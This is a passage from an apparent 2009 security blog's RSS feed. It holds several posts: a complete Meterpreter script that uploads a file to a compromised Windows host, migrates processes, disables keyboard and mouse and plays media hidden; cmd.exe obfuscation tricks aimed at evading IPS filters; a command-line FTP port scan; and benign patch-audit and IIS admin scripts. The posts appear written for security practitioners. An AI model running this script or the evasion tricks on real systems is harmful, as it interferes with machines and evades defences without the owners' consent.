65.55.21.250&lt;BR&gt;&lt;BR&gt;Why?&lt;BR&gt;</description><comments>http://blog.securitywhole.com/2009/04/01/wwwmicrosoftcom-and-hosts-file-wierdness-why.aspx#Comments</comments><guid isPermaLink="false">bc014235-0be1-49cf-bd1c-18975439842f</guid><pubDate>Wed, 01 Apr 2009 19:30:29 GMT</pubDate></item><item><title>Rickroll Meterpreter Script</title><link>http://blog.securitywhole.com/2009/03/30/rickroll-meterpreter-script.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;p&gt;In order to be well prepared for April Fools day I decided to put out a rickroll meterpreter script. &lt;br&gt;&lt;br&gt;It defaults to looking for rickroll.mp3 in the metasploit framework root directory, but you can use another file with the -f option. I don't parse out the name so you will have to copy it into the metasploit directory. &lt;br&gt;&lt;br&gt;You can also use any file format supported by windows media player so you can have it play a wmv (even better). By default the process is hidden, but you can make it visible with a -v option.&lt;br&gt;&lt;br&gt;New Features!&lt;br&gt;And just for added fun, throw in a -k to disable the keyboard or -m to disable the mouse or you can go all in by using the -e to disable the mouse and keyboard and save precious keystrokes.&lt;br&gt;&lt;br&gt;Here is the file: &lt;br&gt;&lt;a href="http://blog.securitywhole.com/files/4/1/3/7/4/156673-147314/rickroll.tar"&gt;rickroll.tar&lt;/a&gt;&lt;br&gt;&lt;br&gt;Put it in framework3/meterpreter/scripts&lt;br&gt;&lt;br&gt;&lt;font face="Courier New"&gt;#&lt;br&gt;# Provided by Tim Medin at timmedin[at]gmail [dot] com&lt;br&gt;#&lt;br&gt;# Uploads the rick roll'ing mp3 and then runs it as a hidden process&lt;br&gt;# You can also upload a different file (like a wmv video) and have it display -v&lt;br&gt;#&lt;br&gt;# Known Issues: I don't parse the file name provided by -f so make&lt;br&gt;#&amp;nbsp;&amp;nbsp; sure the file is in the framework's root directory&lt;br&gt;#&lt;br&gt;# Added disable keyboard and mouse features &lt;br&gt;#&lt;br&gt;# *** Thanks for help from dark operator (Carlos Perez) ***&lt;br&gt;#&lt;br&gt;def message&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status "Rickroll'ing Meterpreter Script"&lt;br&gt;end&lt;br&gt;def usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Windows Rickroll Meterpreter Script\n" +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Usage: rickroll [-h] [-k] [-m] [-e] [-v] \[-f &amp;lt;filename&amp;gt;\]\n" +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @@exec_opts.usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; )&lt;br&gt;end &lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;@@exec_opts = Rex:arser::Arguments.new(&lt;br&gt;&amp;nbsp; "-h"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Help menu."],&lt;br&gt;&amp;nbsp; "-f"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "File to upload"],&lt;br&gt;&amp;nbsp; "-k"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Keyboard"],&lt;br&gt;&amp;nbsp; "-m"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Mouse"],&lt;br&gt;&amp;nbsp; "-e"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Keyboard &amp;amp; Mouse"],&lt;br&gt;&amp;nbsp; "-v"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Visible"]&lt;br&gt;)&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;rick = "rickroll.mp3"&lt;br&gt;mediaplayer = "\"C:\\Program Files\\Windows Media Player\\wmplayer.exe\""&lt;br&gt;visible = false&lt;br&gt;keyboard = true&lt;br&gt;mouse = true&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;@@exec_opts.parse(args) { |opt, idx, val|&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case opt&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-k"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyboard = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-m"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mouse = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-e"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyboard = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mouse = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-v"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; visible = true&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-f"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rick = val&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-h"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; abort&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;}&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;session = client&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;#upload file&lt;br&gt;print_status("Uploading file #{rick}")&lt;br&gt;uploadpath = session.fs.file.expand_path("%temp%") + "\\#{rand(100)}.mp3"&lt;br&gt;client.fs.file.upload_file(uploadpath, rick)&lt;br&gt;print_status("Uploaded file to #{uploadpath}")&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;if (session.sys.config.getuid == "NT AUTHORITY\\SYSTEM")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; process2mig = "explorer.exe"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.sys.process.get_processes().each do |x|&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (process2mig.index(x['name'].downcase))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("\t#{process2mig} Process found, migrating..")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.core.migrate(x['pid'].to_i)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Migration Successful!!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = true&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = true&lt;br&gt;end&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;if (go)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!mouse)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Disabling mouse to extend the pain!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.ui.disable_mouse&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!keyboard)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Disabling keyboard to extend the pain!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.ui.disable_keyboard&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Rick rolling!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; client.sys.process.execute("#{mediaplayer} \"#{uploadpath}\"", nil, {'Hidden' =&amp;gt; !visible})&lt;br&gt;else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Need logged in user to execute, cannot find explorer.exe to migrate")&lt;br&gt;end&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;/p&gt;</description><comments>http://blog.securitywhole.com/2009/03/30/rickroll-meterpreter-script.aspx#Comments</comments><guid isPermaLink="false">243f5a51-8ca5-47ad-b5a7-2b00dfc3928e</guid><pubDate>Tue, 31 Mar 2009 04:52:00 GMT</pubDate></item><item><title>Patch Audit using Windows Command Line</title><link>http://blog.securitywhole.com/2009/03/27/patch-audit-using-windows-command-line.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;Get a report of the patch for ms08-067&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;for /f "delims=\ " %i in ('net view ^| findstr "\\"') do @echo %i &amp;gt;&amp;gt; patch.txt &amp;amp; @wmic /node:%i qfe where hotfixid="KB958644" list full 2&amp;gt;&amp;amp;1 | findstr "InstalledOn Description Instance" &amp;gt;&amp;gt; c:\patch.txt&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Let's start in the slightly in middle and work outwards. The net view command gets a list of computers in your domain. The output contains some header and footer junk that we don't want, so we use the findstr command to just get a list of the computers. The output of just net view | findstr "\\" looks like this&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;\\computer1&amp;nbsp;&amp;nbsp;&amp;nbsp; Description1&lt;BR&gt;&amp;nbsp;\\computer2&amp;nbsp;&amp;nbsp;&amp;nbsp; Description2&lt;BR&gt;&amp;nbsp;\\computer3&amp;nbsp;&amp;nbsp;&amp;nbsp; Description3&lt;/FONT&gt;&lt;BR&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;In order to run the command inside the for loop we have to put singe quotes around it. The problem is that pesky pipe messes things up, so we have to delimit it with a carrot. &lt;/P&gt;
&lt;P&gt;We just want the computer name, so we have to parse it with a for loop. We set the delimiters to be the backslash and a space. By default the for loop only returns the first token, in our case the computer name. We could explictly select the first token by adding "tokens=1", but brievity is what we want. So now we have a variable %i that contains just the computer name. If we just run the first portion we get this.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;for /f "delims=\ " %i in ('net view ^| findstr "\\"') do @echo %i&lt;BR&gt;&amp;nbsp;computer1&lt;BR&gt;&amp;nbsp;computer2&lt;BR&gt;&amp;nbsp;computer3&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;So we now have a list of all computers in our domain. Now we want to see if they have the patch. Using Ed Skoudis's command line kung fu we can use that to generate a report from all the computers. You can check out the clkf blog for a good description of the the wmic command. &lt;A href="http://blog.commandlinekungfu.com/2009/03/episode-16-got-that-patch.html"&gt;http://blog.commandlinekungfu.com/2009/03/episode-16-got-that-patch.html&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;We then use &amp;amp;2&amp;gt;1 so send the error to standard out. This is done so we can filter on it and we can save it to our file. This way we can get a list of the computers that we can't contact and use that to find out another way. The options from the wmic command look like this.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;c:\&amp;gt;wmic /node:%i qfe where hotfixid="KB958644" list full&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Output options:&lt;BR&gt;From a computer we can query:&lt;BR&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;Caption=&lt;BR&gt;&amp;nbsp;CSName=Computer1&lt;BR&gt;&amp;nbsp;Description=Security Update for Windows Server 2003 (KB958644)&lt;BR&gt;&amp;nbsp;FixComments=Update&lt;BR&gt;&amp;nbsp;HotFixID=KB958644&lt;BR&gt;&amp;nbsp;InstallDate=&lt;BR&gt;&amp;nbsp;InstalledBy=jholmbo&lt;BR&gt;&amp;nbsp;InstalledOn=10/28/2008&lt;BR&gt;&amp;nbsp;Name=&lt;BR&gt;&amp;nbsp;ServicePackInEffect=SP3&lt;BR&gt;&amp;nbsp;Status=&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;From a computer we can't query:&lt;BR&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;Node - Computer2&lt;BR&gt;&amp;nbsp;ERROR:&lt;BR&gt;&amp;nbsp;Code = 0x800706ba&lt;BR&gt;&amp;nbsp;Description = The RPC server is unavailable.&lt;BR&gt;&amp;nbsp;Facility = Win32&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;From an unpatche computer&lt;BR&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;No Instance(s) Available.&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Finally, we use the findstr to take the relevant output and append it to our report. We could filter the resultes from the wmic query by using &lt;FONT face="Courier New"&gt;wmic qfe where hotfixid="KB958644" get InstalledOn&lt;/FONT&gt; but it splits the results into two lines, makes it harder to use findstr, and we are already using findstr so who cares.&lt;/P&gt;
&lt;P&gt;We get a report that looks like this&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;computer1&lt;BR&gt;InstalledOn=10/28/2008&lt;BR&gt;computer2&lt;BR&gt;Description = The RPC server is unavailable.&lt;BR&gt;computer3&lt;BR&gt;No Instance(s) Available.&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Hope you guys find this useful!&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2009/03/27/patch-audit-using-windows-command-line.aspx#Comments</comments><guid isPermaLink="false">9dfbb470-fa1d-4c41-9491-58a170d9c813</guid><pubDate>Fri, 27 Mar 2009 16:35:00 GMT</pubDate></item><item><title>Automating Authentication Providers in IIS with Command Line Kung Fu</title><link>http://blog.securitywhole.com/2009/03/25/automating-authentication-providers-in-iis-with-command-line-kung-fu.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P dir=ltr style="MARGIN-RIGHT: 0px"&gt;I have a few servers with numerous sites and I got tired of manually checking each site to see if it is using Kerberos or NTLM. I had to look up the site ID and then run &lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;cscript adsutil.vbs get w3svc/&amp;lt;ID&amp;gt;&lt;ID&gt;/NTAuthenticationProviders&lt;BR&gt;&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P dir=ltr style="MARGIN-RIGHT: 0px"&gt;I figured there had to be a better way since this was getting tiring,&lt;BR&gt;especially since the IDs are goofy numbers. I decided to try to automate it&lt;BR&gt;and I came up with this script.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;for /F "tokens=2 delims=/][" %i in ('cscript adsutil.vbs enum w3svc /P ^| findstr [0-9][0-9]') do @echo %i &amp;amp;&amp;amp; @cscript adsutil.vbs get w3svc/%i/NTAuthenticationProviders | findstr NTAuthenticationProviders&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;BR&gt;Lets break it down into its bits.&lt;BR&gt;&lt;BR&gt;The script runs &lt;FONT face="Courier New"&gt;csript adsutil.vbs enum w3svc /P&lt;/FONT&gt; which enumerates the sites and gives us this output:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;[/w3svc/1]&lt;BR&gt;[/w3svc/1108215390]&lt;BR&gt;....&lt;BR&gt;[/w3svc/729050872]&lt;BR&gt;[/w3svc/AppPools]&lt;BR&gt;[/w3svc/Filters]&lt;BR&gt;[/w3svc/Info]&lt;BR&gt;&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;P dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;BR&gt;We don't care about the last three items so we use findstr to only give us results with two numbers, we can't just look for one number since it would match on w3svc.&lt;BR&gt;&lt;BR&gt;The surrounding For loop will break up the output using the delimiters ], [, and / which will give us two tokens (ws3svc and the site id). The tokens=2 options gives us access to just the site id (the second token) in our loop. The portion after 'do' is pretty straight forward and echos the site id and then runs the command to get the authentication providers. We use the findstr again to get rid of all the junk we don't need.&lt;BR&gt;&lt;BR&gt;We can also use a similar script to enable Kerberos:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;FONT face="Courier New"&gt;for /F "tokens=2 delims=/][" %i in ('cscript adsutil.vbs enum w3svc /P ^| findstr [0-9][0-9][0-9]*') do @echo %i &amp;amp;&amp;amp; @cscript adsutil.vbs set w3svc/%i/NTAuthenticationProviders "Negotiate,NTLM"&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;</description><comments>http://blog.securitywhole.com/2009/03/25/automating-authentication-providers-in-iis-with-command-line-kung-fu.aspx#Comments</comments><guid isPermaLink="false">fbb8bfd3-805f-461c-b1e7-30f870751577</guid><pubDate>Wed, 25 Mar 2009 14:50:55 GMT</pubDate></item><item><title>Windows Command Line Obfuscation</title><link>http://blog.securitywhole.com/2009/02/28/windows-command-line-obfuscation.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;The " and ^ characters can be used to on the windows command line to obfuscate commands. The " character only works when calling executables. 
&lt;BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;FONT face="Courier New"&gt;cmd.exe = c"m"d"."e"x"e = cm"d.exe = c^m^d.e^x^e = cm^d.exe = = c"m^d.exe = ....&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;
&lt;BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;FONT face="Courier New"&gt;dir = d^ir = ^d^i^r = di^r&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;This does not work 
&lt;BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;FONT face="Courier New"&gt;dir != d"ir&lt;/FONT&gt;&lt;/BLOCKQUOTE&gt;Now to figure out what to do with it. I am curious if this will work with command injection in windows. &lt;BR&gt;&lt;BR&gt;I'd like to see how this works against an IPS that would normally act on cmd.exe in a query string and if it would even work on the server. Specifially, I am wondering how this will work against the windows 2000 unicode exploit with an obfuscated call do cmd.exe and dir. Looks like I need to set up a box and test.&lt;BR&gt;&lt;BR&gt;Hopefully someone smarter than I can figure out a good way to use this.</description><comments>http://blog.securitywhole.com/2009/02/28/windows-command-line-obfuscation.aspx#Comments</comments><guid isPermaLink="false">f4f90171-757d-4d16-81b0-8158e1cf57fa</guid><pubDate>Sat, 28 Feb 2009 19:12:00 GMT</pubDate></item><item><title>FTP Port Scanning</title><link>http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;p&gt;Ed Skoudis, the creator of SANS 560 and cofounder of Inguardians has had some fantastic ideas regarding "command line ninjitsu." He came up with a way to do a port scan from the windows command line without additional tools. Here is his command:&lt;/p&gt;
&lt;span style="color: #27750f;"&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt;&lt;span style="font-family: courier new;"&gt;for /L %i in (1,1,1024) do echo Checking Port %i: &amp;gt;&amp;gt; ports.txt &amp;amp; echo open [IP_addr] %i &amp;gt; ftp.txt &amp;amp; echo quit &amp;gt;&amp;gt; ftp.txt &amp;amp; ftp -s:ftp.txt 2&amp;gt;&amp;gt;ports.txt&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt; &lt;/p&gt;
&lt;/span&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt;Since the windows ftp client does not allow a custom port from the command line it requires that you create a script file. Ed's example creates a ftp.txt file containing text similar to this: &lt;/p&gt;
&lt;span style="color: #27750f;"&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt;&lt;span style="font-family: courier new;"&gt;open 1.2.3.4 3&lt;br /&gt;
quit&lt;/span&gt;&lt;/p&gt;
&lt;/span&gt;The ftp client will use this script file by passing the file with the -s switch. The output is written to ports.txt with an output similar to this: &lt;br /&gt;
&lt;span style="font-family: courier new; color: #27750f;"&gt;&lt;br /&gt;
Checking Port 1:&lt;br /&gt;
&amp;gt; ftp: connect: Unknown error number&lt;br /&gt;
Checking Port 2:&lt;br /&gt;
&amp;gt; ftp: connect: Unknown error number&lt;br /&gt;
Checking Port 3:&lt;br /&gt;
&amp;gt; Connection closed by remote host&lt;br /&gt;
Checking Port 4:&lt;br /&gt;
&amp;gt; ftp: connect: Unknown error number&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;By looking at the above test you can see that port 3 is open on the remote host.&lt;br /&gt;
&lt;br /&gt;
I took Ed's command and made a slight change to it so the -s switch and ftp.txt are not needed. &lt;span style="color: #27750f;"&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt;&lt;span style="font-family: courier new;"&gt;for /L %i in (1,1,1024) do echo Checking Port %i: &amp;gt;&amp;gt; ports.txt &amp;amp; ((echo open 10.10.10.10 %i)&amp;amp;(echo quit)) | ftp 2&amp;gt;&amp;gt;ports.txt&lt;/span&gt;&lt;/p&gt;
&lt;/span&gt;The output is essentially the same just without the additional file. &lt;br /&gt;
&lt;br /&gt;
